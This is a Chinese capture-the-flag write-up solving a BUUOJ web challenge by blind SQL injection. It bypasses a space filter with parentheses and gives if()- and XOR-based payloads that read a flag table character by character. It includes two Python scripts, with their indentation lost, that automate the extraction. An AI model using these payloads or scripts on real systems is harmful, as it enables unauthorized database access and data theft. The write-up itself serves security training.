打开题目是一个查询的表单,并且明确提示了存在flag表和flag字段,那这里应该考察SQL注入漏洞的利用
抓包提交数据,提交的ID应该就是注入点,接下来测试注入类型和注入方式
提交id=1 和 id=2
id=1 Hello, glzjin wants a girlfriend.
id=2 Do you want to be my girlfriend?
当id不同时,查询到的数据也会发生改变,尝试几次输入后发现存在过滤,且注入类型应为盲注
先通过fuzz确定过滤掉了哪些内容
长度为482说明该数据被过滤拦截
这里空格也被过滤了,绕过方式有很多,参考 MySQL 注入攻击与防御
这里可以使用括号包含型的绕过
方法一:
当我们输入if(1=1,1,2),我们却发现返回了Hello, glzjin wants a girlfriend.
输入if(1=2,1,2),返回了的是输入2时回显的结果
据此我们可以使用if函数通过页面的返回结果来判断sql查询语句的正确性达到非法查询的目的
因此,构造出payload
if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2) #该payload返回Hello, glzjin wants a girlfriend. 证明flag第一位为f
根据payload写出一个简单的get flag的脚本,这里要注意字符的值,可以适当增加flag中常用的字符
import requests
s=requests.session()
flag = ''
for i in range(1,50):
for j in '-{abcdefghijklmnopqrstuvwxyz0123456789}':
url="http://ad5ed2b5-7482-4608-bdfb-6b5f5d8ac62f.node3.buuoj.cn/index.php"
sqls="if(ascii(substr((select(flag)from(flag)),{},1))=ascii('{}'),1,2)".format(i,j)
data={"id":sqls}
c = s.post(url,data=data,timeout=10)
if 'Hello' in c.text:
flag += j
print(flag)
break
方法二:
根据方法一的原理,也可以使用异或的方法,用它可以起到代替or的作用。
0^(ascii(substr((select(flag)from(flag)),1,1))>1)
但还有一些是没有用异或,用的是if,可if有局限性,在id为数字型时,可以直接 select * from users where id=if(1=1,1,0),但如果id单引号字符型或双引号字符型,那就必须在if前加or或and。
找了一个二分法的脚本,比方法一的脚本更加迅速
import requests
import time
url = "http://ad5ed2b5-7482-4608-bdfb-6b5f5d8ac62f.node3.buuoj.cn/index.php"
payload = {
"id" : ""
}
result = ""
for i in range(1,100):
l = 33
r =130
mid = (l+r)>>1
while(l<r):
payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
html = requests.post(url,data=payload)
print(payload)
if "Hello" in html.text:
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)